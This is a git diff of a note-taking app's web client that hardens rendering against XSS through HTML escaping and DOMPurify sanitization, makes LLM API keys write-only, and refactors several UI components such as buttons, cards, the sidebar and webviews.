// Build the link safely using DOM APIs to prevent XSS via note titles
|
||||
const wrapper = document.createElement('div');
|
||||
wrapper.className = 'd-flex align-items-center w-100';
|
||||
|
||||
const link = document.createElement('a');
|
||||
link.href = `#root/${source.noteId}`;
|
||||
link.setAttribute('data-note-id', source.noteId);
|
||||
link.className = 'source-link text-truncate d-flex align-items-center';
|
||||
link.title = `Open note: ${source.title}`;
|
||||
|
||||
const icon = document.createElement('i');
|
||||
icon.className = 'bx bx-file-blank me-1';
|
||||
|
||||
const titleSpan = document.createElement('span');
|
||||
titleSpan.className = 'source-title';
|
||||
titleSpan.textContent = source.title;
|
||||
|
||||
link.appendChild(icon);
|
||||
link.appendChild(titleSpan);
|
||||
wrapper.appendChild(link);
|
||||
sourceElement.appendChild(wrapper);
|
||||
|
||||
// Add click handler
|
||||
sourceElement.querySelector('.source-link')?.addEventListener('click', (e) => {
|
||||
link.addEventListener('click', (e) => {
|
||||
e.preventDefault();
|
||||
e.stopPropagation();
|
||||
onSourceClick(source.noteId);
|
||||
@@ -216,6 +227,8 @@ export function renderToolStepsHtml(steps: ToolExecutionStep[]): string {
|
||||
|
||||
steps.forEach(step => {
|
||||
let icon, labelClass, content;
|
||||
const safeContent = escapeHtml(step.content || '');
|
||||
const safeName = escapeHtml(step.name || 'unknown');
|
||||
|
||||
switch (step.type) {
|
||||
case 'executing':
|
||||
@@ -223,7 +236,7 @@ export function renderToolStepsHtml(steps: ToolExecutionStep[]): string {
|
||||
labelClass = '';
|
||||
content = `<div class="d-flex align-items-center">
|
||||
<i class="bx ${icon} me-1"></i>
|
||||
<span>${step.content}</span>
|
||||
<span>${safeContent}</span>
|
||||
</div>`;
|
||||
break;
|
||||
|
||||
@@ -232,9 +245,9 @@ export function renderToolStepsHtml(steps: ToolExecutionStep[]): string {
|
||||
labelClass = 'fw-bold';
|
||||
content = `<div class="d-flex align-items-center">
|
||||
<i class="bx ${icon} me-1"></i>
|
||||
<span class="${labelClass}">Tool: ${step.name || 'unknown'}</span>
|
||||
<span class="${labelClass}">Tool: ${safeName}</span>
|
||||
</div>
|
||||
<div class="mt-1 ps-3">${step.content}</div>`;
|
||||
<div class="mt-1 ps-3">${safeContent}</div>`;
|
||||
break;
|
||||
|
||||
case 'error':
|
||||
@@ -242,9 +255,9 @@ export function renderToolStepsHtml(steps: ToolExecutionStep[]): string {
|
||||
labelClass = 'fw-bold text-danger';
|
||||
content = `<div class="d-flex align-items-center">
|
||||
<i class="bx ${icon} me-1"></i>
|
||||
<span class="${labelClass}">Tool: ${step.name || 'unknown'}</span>
|
||||
<span class="${labelClass}">Tool: ${safeName}</span>
|
||||
</div>
|
||||
<div class="mt-1 ps-3 text-danger">${step.content}</div>`;
|
||||
<div class="mt-1 ps-3 text-danger">${safeContent}</div>`;
|
||||
break;
|
||||
|
||||
case 'generating':
|
||||
@@ -252,7 +265,7 @@ export function renderToolStepsHtml(steps: ToolExecutionStep[]): string {
|
||||
labelClass = '';
|
||||
content = `<div class="d-flex align-items-center">
|
||||
<i class="bx ${icon} me-1"></i>
|
||||
<span>${step.content}</span>
|
||||
<span>${safeContent}</span>
|
||||
</div>`;
|
||||
break;
|
||||
|
||||
@@ -261,7 +274,7 @@ export function renderToolStepsHtml(steps: ToolExecutionStep[]): string {
|
||||
labelClass = '';
|
||||
content = `<div class="d-flex align-items-center">
|
||||
<i class="bx ${icon} me-1"></i>
|
||||
<span>${step.content}</span>
|
||||
<span>${safeContent}</span>
|
||||
</div>`;
|
||||
}
|
||||
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
/**
|
||||
* Validation functions for LLM Chat
|
||||
*/
|
||||
import type { OptionNames } from "@triliumnext/commons";
|
||||
import options from "../../services/options.js";
|
||||
import { t } from "../../services/i18n.js";
|
||||
|
||||
@@ -44,15 +45,15 @@ export async function validateProviders(validationWarning: HTMLElement): Promise
|
||||
// Check each provider in the precedence list for proper configuration
|
||||
for (const provider of precedenceList) {
|
||||
if (provider === 'openai') {
|
||||
// Check OpenAI configuration
|
||||
const apiKey = options.get('openaiApiKey');
|
||||
if (!apiKey) {
|
||||
// Check OpenAI configuration via server-provided boolean flag
|
||||
const isKeySet = options.is('isOpenaiApiKeySet' as OptionNames);
|
||||
if (!isKeySet) {
|
||||
configIssues.push(`OpenAI API key is missing (optional for OpenAI-compatible endpoints)`);
|
||||
}
|
||||
} else if (provider === 'anthropic') {
|
||||
// Check Anthropic configuration
|
||||
const apiKey = options.get('anthropicApiKey');
|
||||
if (!apiKey) {
|
||||
// Check Anthropic configuration via server-provided boolean flag
|
||||
const isKeySet = options.is('isAnthropicApiKeySet' as OptionNames);
|
||||
if (!isKeySet) {
|
||||
configIssues.push(`Anthropic API key is missing`);
|
||||
}
|
||||
} else if (provider === 'ollama') {
|
||||
|
||||
@@ -13,7 +13,7 @@ const DRAG_OPEN_THRESHOLD = 10;
|
||||
/** The number of pixels the user has to drag across the screen to the right when the sidebar is closed to trigger the drag open animation. */
|
||||
const DRAG_CLOSED_START_THRESHOLD = 10;
|
||||
/** The number of pixels the user has to drag across the screen to the left when the sidebar is opened to trigger the drag close animation. */
|
||||
const DRAG_OPENED_START_THRESHOLD = 80;
|
||||
const DRAG_OPENED_START_THRESHOLD = 100;
|
||||
|
||||
export default class SidebarContainer extends FlexContainer<BasicWidget> {
|
||||
private screenName: Screen;
|
||||
@@ -54,7 +54,7 @@ export default class SidebarContainer extends FlexContainer<BasicWidget> {
|
||||
this.startX = x;
|
||||
|
||||
// Prevent dragging if too far from the edge of the screen and the menu is closed.
|
||||
let dragRefX = glob.isRtl ? this.screenWidth - x : x;
|
||||
const dragRefX = glob.isRtl ? this.screenWidth - x : x;
|
||||
if (dragRefX > 30 && this.currentTranslate === -100) {
|
||||
return;
|
||||
}
|
||||
@@ -89,7 +89,7 @@ export default class SidebarContainer extends FlexContainer<BasicWidget> {
|
||||
}
|
||||
} else if (this.dragState === DRAG_STATE_DRAGGING) {
|
||||
const width = this.sidebarEl.offsetWidth;
|
||||
let translatePercentage = Math.min(0, Math.max(this.currentTranslate + (deltaX / width) * 100, -100));
|
||||
const translatePercentage = Math.min(0, Math.max(this.currentTranslate + (deltaX / width) * 100, -100));
|
||||
const backdropOpacity = Math.max(0, 1 + translatePercentage / 100);
|
||||
this.translatePercentage = translatePercentage;
|
||||
if (glob.isRtl) {
|
||||
@@ -160,12 +160,10 @@ export default class SidebarContainer extends FlexContainer<BasicWidget> {
|
||||
this.sidebarEl.classList.toggle("show", isOpen);
|
||||
if (isOpen) {
|
||||
this.sidebarEl.style.transform = "translateX(0)";
|
||||
} else if (glob.isRtl) {
|
||||
this.sidebarEl.style.transform = "translateX(100%)";
|
||||
} else {
|
||||
if (glob.isRtl) {
|
||||
this.sidebarEl.style.transform = "translateX(100%)"
|
||||
} else {
|
||||
this.sidebarEl.style.transform = "translateX(-100%)";
|
||||
}
|
||||
this.sidebarEl.style.transform = "translateX(-100%)";
|
||||
}
|
||||
this.sidebarEl.style.transition = this.originalSidebarTransition;
|
||||
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
import ActionButton from "../react/ActionButton";
|
||||
import { t } from "../../services/i18n";
|
||||
import ActionButton from "../react/ActionButton";
|
||||
import { useNoteContext } from "../react/hooks";
|
||||
|
||||
export default function ToggleSidebarButton() {
|
||||
@@ -10,10 +10,15 @@ export default function ToggleSidebarButton() {
|
||||
{ noteContext?.isMainContext() && <ActionButton
|
||||
icon="bx bx-sidebar"
|
||||
text={t("note_tree.toggle-sidebar")}
|
||||
onClick={() => parentComponent?.triggerCommand("setActiveScreen", {
|
||||
screen: "tree"
|
||||
})}
|
||||
onClick={(e) => {
|
||||
// Remove focus to prevent tooltip showing on top of the sidebar.
|
||||
(e.currentTarget as HTMLButtonElement).blur();
|
||||
|
||||
parentComponent?.triggerCommand("setActiveScreen", {
|
||||
screen: "tree"
|
||||
});
|
||||
}}
|
||||
/>}
|
||||
</div>
|
||||
)
|
||||
);
|
||||
}
|
||||
|
||||
@@ -5,7 +5,7 @@
|
||||
align-items: center;
|
||||
width: 100%;
|
||||
max-width: unset;
|
||||
font-size: 0.8em;
|
||||
font-size: 0.8rem;
|
||||
|
||||
.dropdown-menu {
|
||||
input.form-control {
|
||||
|
||||
@@ -69,7 +69,7 @@ function MobileNoteIconSwitcher({ note, icon }: {
|
||||
const [ modalShown, setModalShown ] = useState(false);
|
||||
const { windowWidth } = useWindowSize();
|
||||
|
||||
return (note &&
|
||||
return (
|
||||
<div className="note-icon-widget">
|
||||
<ActionButton
|
||||
className="note-icon"
|
||||
@@ -86,7 +86,7 @@ function MobileNoteIconSwitcher({ note, icon }: {
|
||||
className="icon-switcher note-icon-widget"
|
||||
scrollable
|
||||
>
|
||||
<NoteIconList note={note} onHide={() => setModalShown(false)} columnCount={Math.max(1, Math.floor(windowWidth / ICON_SIZE))} />
|
||||
{note && <NoteIconList note={note} onHide={() => setModalShown(false)} columnCount={Math.max(1, Math.floor(windowWidth / ICON_SIZE))} />}
|
||||
</Modal>
|
||||
), document.body)}
|
||||
</div>
|
||||
|
||||
@@ -3,6 +3,7 @@ import { useEffect, useRef, useState } from "preact/hooks";
|
||||
|
||||
import { CommandNames } from "../../components/app_context";
|
||||
import keyboard_actions from "../../services/keyboard_actions";
|
||||
import { isMobile } from "../../services/utils";
|
||||
import { useStaticTooltip } from "./hooks";
|
||||
|
||||
export interface ActionButtonProps extends Pick<HTMLAttributes<HTMLButtonElement>, "onClick" | "onAuxClick" | "onContextMenu" | "style"> {
|
||||
@@ -17,6 +18,8 @@ export interface ActionButtonProps extends Pick<HTMLAttributes<HTMLButtonElement
|
||||
disabled?: boolean;
|
||||
}
|
||||
|
||||
const cachedIsMobile = isMobile();
|
||||
|
||||
export default function ActionButton({ text, icon, className, triggerCommand, titlePosition, noIconActionClass, frame, active, disabled, ...restProps }: ActionButtonProps) {
|
||||
const buttonRef = useRef<HTMLButtonElement>(null);
|
||||
const [ keyboardShortcut, setKeyboardShortcut ] = useState<string[]>();
|
||||
@@ -25,6 +28,7 @@ export default function ActionButton({ text, icon, className, triggerCommand, ti
|
||||
title: keyboardShortcut?.length ? `${text} (${keyboardShortcut?.join(",")})` : text,
|
||||
placement: titlePosition ?? "bottom",
|
||||
fallbackPlacements: [ titlePosition ?? "bottom" ],
|
||||
trigger: cachedIsMobile ? "focus" : "hover focus",
|
||||
animation: false
|
||||
});
|
||||
|
||||
|
||||
@@ -1,13 +1,14 @@
|
||||
import type { ComponentChildren, RefObject } from "preact";
|
||||
import type { CSSProperties } from "preact/compat";
|
||||
import type { ComponentChildren, CSSProperties, RefObject } from "preact";
|
||||
import { memo } from "preact/compat";
|
||||
import { useMemo } from "preact/hooks";
|
||||
|
||||
import { CommandNames } from "../../components/app_context";
|
||||
import { isDesktop } from "../../services/utils";
|
||||
import { isDesktop, isMobile } from "../../services/utils";
|
||||
import ActionButton from "./ActionButton";
|
||||
import Icon from "./Icon";
|
||||
|
||||
const cachedIsMobile = isMobile();
|
||||
|
||||
export interface ButtonProps {
|
||||
name?: string;
|
||||
/** Reference to the button element. Mostly useful for requesting focus. */
|
||||
@@ -18,7 +19,7 @@ export interface ButtonProps {
|
||||
keyboardShortcut?: string;
|
||||
/** Called when the button is clicked. If not set, the button will submit the form (if any). */
|
||||
onClick?: () => void;
|
||||
primary?: boolean;
|
||||
kind?: "primary" | "secondary" | "lowProfile";
|
||||
disabled?: boolean;
|
||||
size?: "normal" | "small" | "micro";
|
||||
style?: CSSProperties;
|
||||
@@ -26,15 +27,23 @@ export interface ButtonProps {
|
||||
title?: string;
|
||||
}
|
||||
|
||||
const Button = memo(({ name, buttonRef, className, text, onClick, keyboardShortcut, icon, primary, disabled, size, style, triggerCommand, ...restProps }: ButtonProps) => {
|
||||
const Button = memo(({ name, buttonRef, className, text, onClick, keyboardShortcut, icon, kind, disabled, size, style, triggerCommand, ...restProps }: ButtonProps) => {
|
||||
// Memoize classes array to prevent recreation
|
||||
const classes = useMemo(() => {
|
||||
const classList: string[] = ["btn"];
|
||||
if (primary) {
|
||||
classList.push("btn-primary");
|
||||
} else {
|
||||
classList.push("btn-secondary");
|
||||
|
||||
switch(kind) {
|
||||
case "primary":
|
||||
classList.push("btn-primary");
|
||||
break;
|
||||
case "lowProfile":
|
||||
classList.push("tn-low-profile");
|
||||
break;
|
||||
default:
|
||||
classList.push("btn-secondary");
|
||||
break;
|
||||
}
|
||||
|
||||
if (className) {
|
||||
classList.push(className);
|
||||
}
|
||||
@@ -44,11 +53,11 @@ const Button = memo(({ name, buttonRef, className, text, onClick, keyboardShortc
|
||||
classList.push("btn-micro");
|
||||
}
|
||||
return classList.join(" ");
|
||||
}, [primary, className, size]);
|
||||
}, [kind, className, size]);
|
||||
|
||||
// Memoize keyboard shortcut rendering
|
||||
const shortcutElements = useMemo(() => {
|
||||
if (!keyboardShortcut) return null;
|
||||
if (!keyboardShortcut || cachedIsMobile) return null;
|
||||
const splitShortcut = keyboardShortcut.split("+");
|
||||
return splitShortcut.map((key, index) => (
|
||||
<>
|
||||
|
||||
47
apps/client/src/widgets/react/Card.css
Normal file
47
apps/client/src/widgets/react/Card.css
Normal file
@@ -0,0 +1,47 @@
|
||||
:where(.tn-card) {
|
||||
--card-border-radius: 8px;
|
||||
--card-padding-block: 8px;
|
||||
--card-padding-inline: 16px;
|
||||
--card-section-gap: 3px;
|
||||
--card-nested-section-indent: 30px;
|
||||
}
|
||||
|
||||
.tn-card-heading {
|
||||
margin-bottom: 10px;
|
||||
font-size: .75rem;
|
||||
font-weight: 600;
|
||||
letter-spacing: .4pt;
|
||||
text-transform: uppercase;
|
||||
}
|
||||
|
||||
.tn-card-body {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: var(--card-section-gap);
|
||||
|
||||
.tn-card-section {
|
||||
padding: var(--card-padding-block) var(--card-padding-inline);
|
||||
border: 1px solid var(--card-border-color, var(--main-border-color));
|
||||
background: var(--card-background-color);
|
||||
|
||||
&:first-of-type {
|
||||
border-top-left-radius: var(--card-border-radius);
|
||||
border-top-right-radius: var(--card-border-radius);
|
||||
}
|
||||
|
||||
&:last-of-type {
|
||||
border-bottom-left-radius: var(--card-border-radius);
|
||||
border-bottom-right-radius: var(--card-border-radius);
|
||||
}
|
||||
|
||||
&.tn-card-section-nested {
|
||||
padding-left: calc(var(--card-padding-inline) + var(--card-nested-section-indent) * var(--tn-card-section-nesting-level));
|
||||
background-color: color-mix(in srgb, var(--card-background-color) calc(100% / (var(--tn-card-section-nesting-level) + 1)) , transparent);
|
||||
}
|
||||
|
||||
&.tn-card-section-highlight-on-hover:hover {
|
||||
background-color: var(--card-background-hover-color);
|
||||
transition: background-color .2s ease-out;
|
||||
}
|
||||
}
|
||||
}
|
||||
63
apps/client/src/widgets/react/Card.tsx
Normal file
63
apps/client/src/widgets/react/Card.tsx
Normal file
@@ -0,0 +1,63 @@
|
||||
import "./Card.css";
|
||||
import { ComponentChildren, createContext } from "preact";
|
||||
import { JSX } from "preact";
|
||||
import { useContext } from "preact/hooks";
|
||||
import clsx from "clsx";
|
||||
|
||||
// #region Card
|
||||
|
||||
export interface CardProps {
|
||||
className?: string;
|
||||
heading?: string;
|
||||
}
|
||||
|
||||
export function Card(props: {children: ComponentChildren} & CardProps) {
|
||||
return <div className={clsx("tn-card", props.className)}>
|
||||
{props.heading && <h5 class="tn-card-heading">{props.heading}</h5>}
|
||||
<div className="tn-card-body">
|
||||
{props.children}
|
||||
</div>
|
||||
</div>;
|
||||
}
|
||||
|
||||
// #endregion
|
||||
|
||||
// #region Card Section
|
||||
|
||||
export interface CardSectionProps {
|
||||
className?: string;
|
||||
subSections?: JSX.Element | JSX.Element[];
|
||||
subSectionsVisible?: boolean;
|
||||
highlightOnHover?: boolean;
|
||||
onAction?: () => void;
|
||||
}
|
||||
|
||||
interface CardSectionContextType {
|
||||
nestingLevel: number;
|
||||
}
|
||||
|
||||
const CardSectionContext = createContext<CardSectionContextType | undefined>(undefined);
|
||||
|
||||
export function CardSection(props: {children: ComponentChildren} & CardSectionProps) {
|
||||
const parentContext = useContext(CardSectionContext);
|
||||
const nestingLevel = (parentContext && parentContext.nestingLevel + 1) ?? 0;
|
||||
|
||||
return <>
|
||||
<section className={clsx("tn-card-section", props.className, {
|
||||
"tn-card-section-nested": nestingLevel > 0,
|
||||
"tn-card-section-highlight-on-hover": props.highlightOnHover || props.onAction
|
||||
})}
|
||||
style={{"--tn-card-section-nesting-level": (nestingLevel) ? nestingLevel : null}}
|
||||
onClick={props.onAction}>
|
||||
{props.children}
|
||||
</section>
|
||||
|
||||
{props.subSectionsVisible && props.subSections &&
|
||||
<CardSectionContext.Provider value={{nestingLevel}}>
|
||||
{props.subSections}
|
||||
</CardSectionContext.Provider>
|
||||
}
|
||||
</>;
|
||||
}
|
||||
|
||||
// #endregion
|
||||
@@ -1,5 +1,7 @@
|
||||
import type { CSSProperties, HTMLProps, RefObject } from "preact/compat";
|
||||
|
||||
import { sanitizeNoteContentHtml } from "../../services/sanitize_content.js";
|
||||
|
||||
type HTMLElementLike = string | HTMLElement | JQuery<HTMLElement>;
|
||||
|
||||
interface RawHtmlProps extends Pick<HTMLProps<HTMLElement>, "tabindex" | "dir"> {
|
||||
@@ -36,6 +38,6 @@ export function getHtml(html: string | HTMLElement | JQuery<HTMLElement>) {
|
||||
}
|
||||
|
||||
return {
|
||||
__html: html as string
|
||||
__html: sanitizeNoteContentHtml(html as string)
|
||||
};
|
||||
}
|
||||
|
||||
@@ -43,7 +43,7 @@ export default function FilePropertiesTab({ note, ntxId }: Pick<TabContext, "not
|
||||
<Button
|
||||
icon="bx bx-download"
|
||||
text={t("file_properties.download")}
|
||||
primary
|
||||
kind="primary"
|
||||
disabled={!canAccessProtectedNote}
|
||||
onClick={() => downloadFileNote(note, parentComponent, ntxId)}
|
||||
/>
|
||||
|
||||
@@ -43,7 +43,7 @@ export default function ImagePropertiesTab({ note, ntxId }: TabContext) {
|
||||
<Button
|
||||
text={t("image_properties.download")}
|
||||
icon="bx bx-download"
|
||||
primary
|
||||
kind="primary"
|
||||
onClick={() => downloadFileNote(note, parentComponent, ntxId)}
|
||||
/>
|
||||
|
||||
|
||||
@@ -21,6 +21,27 @@ import OnClickButtonWidget from "./buttons/onclick_button.js";
|
||||
import appContext, { type EventData } from "../components/app_context.js";
|
||||
import katex from "../services/math.js";
|
||||
import type FNote from "../entities/fnote.js";
|
||||
import DOMPurify from "dompurify";
|
||||
|
||||
/**
|
||||
* DOMPurify configuration for ToC headings. Only allows inline formatting
|
||||
* tags that legitimately appear in headings (bold, italic, KaTeX math output).
|
||||
* Blocks all event handlers, script tags, and dangerous attributes.
|
||||
*/
|
||||
const TOC_PURIFY_CONFIG: DOMPurify.Config = {
|
||||
ALLOWED_TAGS: [
|
||||
"b", "i", "em", "strong", "s", "del", "sub", "sup",
|
||||
"code", "mark", "span", "abbr", "small",
|
||||
// KaTeX rendering output elements
|
||||
"math", "semantics", "mrow", "mi", "mo", "mn", "msup",
|
||||
"msub", "mfrac", "mover", "munder", "munderover",
|
||||
"msqrt", "mroot", "mtable", "mtr", "mtd", "mtext",
|
||||
"mspace", "annotation"
|
||||
],
|
||||
ALLOWED_ATTR: ["class", "style", "aria-hidden", "encoding", "xmlns"],
|
||||
RETURN_DOM: false,
|
||||
RETURN_DOM_FRAGMENT: false
|
||||
};
|
||||
|
||||
const TPL = /*html*/`<div class="toc-widget">
|
||||
<style>
|
||||
@@ -337,7 +358,7 @@ export default class TocWidget extends RightPanelWidget {
|
||||
//
|
||||
|
||||
const headingText = await this.replaceMathTextWithKatax(m[2]);
|
||||
const $itemContent = $('<div class="item-content">').html(headingText);
|
||||
const $itemContent = $('<div class="item-content">').html(DOMPurify.sanitize(headingText, TOC_PURIFY_CONFIG));
|
||||
const $li = $("<li>").append($itemContent)
|
||||
.on("click", () => this.jumpToHeading(headingIndex));
|
||||
$ols[$ols.length - 1].append($li);
|
||||
|
||||
@@ -1,11 +1,13 @@
|
||||
import { t } from "../../services/i18n";
|
||||
import Alert from "../react/Alert";
|
||||
import { useNoteLabelWithDefault, useTriliumEvent } from "../react/hooks";
|
||||
import RawHtml from "../react/RawHtml";
|
||||
import { TypeWidgetProps } from "./type_widget";
|
||||
import "./Book.css";
|
||||
|
||||
import { useEffect, useState } from "preact/hooks";
|
||||
|
||||
import { t } from "../../services/i18n";
|
||||
import { ViewTypeOptions } from "../collections/interface";
|
||||
import CollectionProperties from "../note_bars/CollectionProperties";
|
||||
import { useNoteLabelWithDefault, useTriliumEvent } from "../react/hooks";
|
||||
import NoItems from "../react/NoItems";
|
||||
import { TypeWidgetProps } from "./type_widget";
|
||||
|
||||
const VIEW_TYPES: ViewTypeOptions[] = [ "list", "grid", "presentation" ];
|
||||
|
||||
@@ -27,10 +29,12 @@ export default function Book({ note }: TypeWidgetProps) {
|
||||
return (
|
||||
<>
|
||||
{shouldDisplayNoChildrenWarning && (
|
||||
<Alert type="warning" className="note-detail-book-empty-help">
|
||||
<RawHtml html={t("book.no_children_help")} />
|
||||
</Alert>
|
||||
<>
|
||||
<CollectionProperties note={note} />
|
||||
|
||||
<NoItems icon="bx bx-collection" text={t("book.no_children_help")} />
|
||||
</>
|
||||
)}
|
||||
</>
|
||||
)
|
||||
);
|
||||
}
|
||||
|
||||
@@ -34,7 +34,7 @@ export default function ProtectedSession() {
|
||||
|
||||
<Button
|
||||
text={t("protected_session.start_session_button")}
|
||||
primary
|
||||
kind="primary"
|
||||
keyboardShortcut="Enter"
|
||||
/>
|
||||
</form>
|
||||
|
||||
@@ -107,7 +107,7 @@ function DisabledRender({ note }: TypeWidgetProps) {
|
||||
text={t("render.disabled_button_enable")}
|
||||
icon="bx bx-check-shield"
|
||||
onClick={() => attributes.toggleDangerousAttribute(note, "relation", "renderNote", true)}
|
||||
primary
|
||||
kind="primary"
|
||||
/>
|
||||
</SetupForm>
|
||||
);
|
||||
|
||||
@@ -1,7 +1,8 @@
|
||||
import "./WebView.css";
|
||||
|
||||
import { useCallback, useState } from "preact/hooks";
|
||||
import { useCallback, useEffect, useRef, useState } from "preact/hooks";
|
||||
|
||||
import appContext from "../../components/app_context";
|
||||
import FNote from "../../entities/fnote";
|
||||
import attributes from "../../services/attributes";
|
||||
import { t } from "../../services/i18n";
|
||||
@@ -17,7 +18,7 @@ import { TypeWidgetProps } from "./type_widget";
|
||||
const isElectron = utils.isElectron();
|
||||
const HELP_PAGE = "1vHRoWCEjj0L";
|
||||
|
||||
export default function WebView({ note }: TypeWidgetProps) {
|
||||
export default function WebView({ note, ntxId }: TypeWidgetProps) {
|
||||
const [ webViewSrc ] = useNoteLabel(note, "webViewSrc");
|
||||
const [ disabledWebViewSrc ] = useNoteLabel(note, "disabled:webViewSrc");
|
||||
|
||||
@@ -29,15 +30,58 @@ export default function WebView({ note }: TypeWidgetProps) {
|
||||
return <SetupWebView note={note} />;
|
||||
}
|
||||
|
||||
return <WebViewContent src={webViewSrc} />;
|
||||
return isElectron
|
||||
? <DesktopWebView src={webViewSrc} ntxId={ntxId} />
|
||||
: <BrowserWebView src={webViewSrc} ntxId={ntxId} />;
|
||||
}
|
||||
|
||||
function WebViewContent({ src }: { src: string }) {
|
||||
if (!isElectron) {
|
||||
return <iframe src={src} class="note-detail-web-view-content" sandbox="allow-same-origin allow-scripts allow-popups" />;
|
||||
}
|
||||
return <webview src={src} class="note-detail-web-view-content" />;
|
||||
function DesktopWebView({ src, ntxId }: { src: string, ntxId: string | null | undefined }) {
|
||||
const webviewRef = useRef<HTMLWebViewElement>(null);
|
||||
|
||||
useEffect(() => {
|
||||
const webview = webviewRef.current;
|
||||
if (!webview) return;
|
||||
|
||||
function onBlur() {
|
||||
if (document.activeElement === webview && ntxId) {
|
||||
appContext.tabManager.activateNoteContext(ntxId);
|
||||
}
|
||||
}
|
||||
|
||||
webview.addEventListener("focus", onBlur);
|
||||
return () => {
|
||||
webview.removeEventListener("focus", onBlur);
|
||||
};
|
||||
}, [ ntxId ]);
|
||||
|
||||
return <webview
|
||||
ref={webviewRef}
|
||||
src={src}
|
||||
class="note-detail-web-view-content"
|
||||
/>;
|
||||
}
|
||||
|
||||
function BrowserWebView({ src, ntxId }: { src: string, ntxId: string | null | undefined }) {
|
||||
const iframeRef = useRef<HTMLIFrameElement>(null);
|
||||
|
||||
useEffect(() => {
|
||||
function onBlur() {
|
||||
if (document.activeElement === iframeRef.current && ntxId) {
|
||||
appContext.tabManager.activateNoteContext(ntxId);
|
||||
}
|
||||
}
|
||||
|
||||
window.addEventListener("blur", onBlur);
|
||||
return () => {
|
||||
window.removeEventListener("blur", onBlur);
|
||||
};
|
||||
}, [ ntxId ]);
|
||||
|
||||
return <iframe
|
||||
ref={iframeRef}
|
||||
src={src}
|
||||
class="note-detail-web-view-content"
|
||||
sandbox="allow-same-origin allow-scripts allow-popups" />;
|
||||
}
|
||||
|
||||
function SetupWebView({note}: {note: FNote}) {
|
||||
@@ -74,7 +118,7 @@ function SetupWebView({note}: {note: FNote}) {
|
||||
|
||||
<Button
|
||||
text={t("web_view_setup.create_button")}
|
||||
primary
|
||||
kind="primary"
|
||||
keyboardShortcut="Enter"
|
||||
/>
|
||||
</SetupForm>
|
||||
@@ -96,7 +140,7 @@ function DisabledWebView({ note, url }: { note: FNote, url: string }) {
|
||||
text={t("web_view_setup.disabled_button_enable")}
|
||||
icon="bx bx-check-shield"
|
||||
onClick={() => attributes.toggleDangerousAttribute(note, "label", "webViewSrc", true)}
|
||||
primary
|
||||
kind="primary"
|
||||
/>
|
||||
</SetupForm>
|
||||
);
|
||||
|
||||
@@ -180,7 +180,8 @@ export function CodeEditor({ parentComponent, ntxId, containerRef: externalConta
|
||||
resolve(refToJQuerySelector(containerRef));
|
||||
});
|
||||
|
||||
useTriliumEvent("scrollToEnd", () => {
|
||||
useTriliumEvent("scrollToEnd", ({ ntxId: eventNtxId }) => {
|
||||
if (eventNtxId !== ntxId) return;
|
||||
const editor = codeEditorRef.current;
|
||||
if (!editor) return;
|
||||
editor.scrollToEnd();
|
||||
|
||||
@@ -10,6 +10,7 @@ import FormSelect from "../../react/FormSelect";
|
||||
import FormTextBox from "../../react/FormTextBox";
|
||||
import type { OllamaModelResponse, OpenAiOrAnthropicModelResponse, OptionNames } from "@triliumnext/commons";
|
||||
import server from "../../../services/server";
|
||||
import options from "../../../services/options";
|
||||
import Button from "../../react/Button";
|
||||
import FormTextArea from "../../react/FormTextArea";
|
||||
|
||||
@@ -121,7 +122,7 @@ function ProviderSettings() {
|
||||
|
||||
interface SingleProviderSettingsProps {
|
||||
provider: string;
|
||||
title: string;
|
||||
title: string;
|
||||
apiKeyDescription?: string;
|
||||
baseUrlDescription: string;
|
||||
modelDescription: string;
|
||||
@@ -132,9 +133,26 @@ interface SingleProviderSettingsProps {
|
||||
}
|
||||
|
||||
function SingleProviderSettings({ provider, title, apiKeyDescription, baseUrlDescription, modelDescription, validationErrorMessage, apiKeyOption, baseUrlOption, modelOption }: SingleProviderSettingsProps) {
|
||||
const [ apiKey, setApiKey ] = useTriliumOption(apiKeyOption ?? baseUrlOption);
|
||||
const [ baseUrl, setBaseUrl ] = useTriliumOption(baseUrlOption);
|
||||
const isValid = (apiKeyOption ? !!apiKey : !!baseUrl);
|
||||
|
||||
// API keys are write-only: the server never sends their values.
|
||||
// Instead, a boolean flag indicates whether the key is configured.
|
||||
const apiKeySetFlag = apiKeyOption
|
||||
? `is${apiKeyOption.charAt(0).toUpperCase()}${apiKeyOption.slice(1)}Set` as OptionNames
|
||||
: undefined;
|
||||
const isApiKeySet = apiKeySetFlag ? options.is(apiKeySetFlag) : false;
|
||||
const [ apiKeyInput, setApiKeyInput ] = useState("");
|
||||
|
||||
const saveApiKey = useCallback(async (value: string) => {
|
||||
setApiKeyInput(value);
|
||||
if (apiKeyOption && value) {
|
||||
await options.save(apiKeyOption, value);
|
||||
// Update the local boolean flag so the UI reflects the change immediately
|
||||
options.set(apiKeySetFlag!, "true");
|
||||
}
|
||||
}, [apiKeyOption, apiKeySetFlag]);
|
||||
|
||||
const isValid = apiKeyOption ? (isApiKeySet || !!apiKeyInput) : !!baseUrl;
|
||||
|
||||
return (
|
||||
<div class="provider-settings">
|
||||
@@ -150,7 +168,8 @@ function SingleProviderSettings({ provider, title, apiKeyDescription, baseUrlDes
|
||||
<FormGroup name="api-key" label={t("ai_llm.api_key")} description={apiKeyDescription}>
|
||||
<FormTextBox
|
||||
type="password" autoComplete="off"
|
||||
currentValue={apiKey} onChange={setApiKey}
|
||||
placeholder={isApiKeySet ? t("ai_llm.api_key_placeholder") : ""}
|
||||
currentValue={apiKeyInput} onChange={saveApiKey}
|
||||
/>
|
||||
</FormGroup>
|
||||
)}
|
||||
@@ -161,7 +180,7 @@ function SingleProviderSettings({ provider, title, apiKeyDescription, baseUrlDes
|
||||
/>
|
||||
</FormGroup>
|
||||
|
||||
{isValid &&
|
||||
{isValid &&
|
||||
<FormGroup name="model" label={t("ai_llm.model")} description={modelDescription}>
|
||||
<ModelSelector provider={provider} baseUrl={baseUrl} modelOption={modelOption} />
|
||||
</FormGroup>
|
||||
|
||||
@@ -95,7 +95,7 @@ function ChangePassword() {
|
||||
|
||||
<Button
|
||||
text={t("password.change_password")}
|
||||
primary
|
||||
kind="primary"
|
||||
/>
|
||||
</form>
|
||||
</OptionsSection>
|
||||
|
||||
@@ -65,7 +65,7 @@ export function SyncConfiguration() {
|
||||
</FormGroup>
|
||||
|
||||
<div style={{ display: "flex", justifyContent: "spaceBetween"}}>
|
||||
<Button text={t("sync_2.save")} primary />
|
||||
<Button text={t("sync_2.save")} kind="primary" />
|
||||
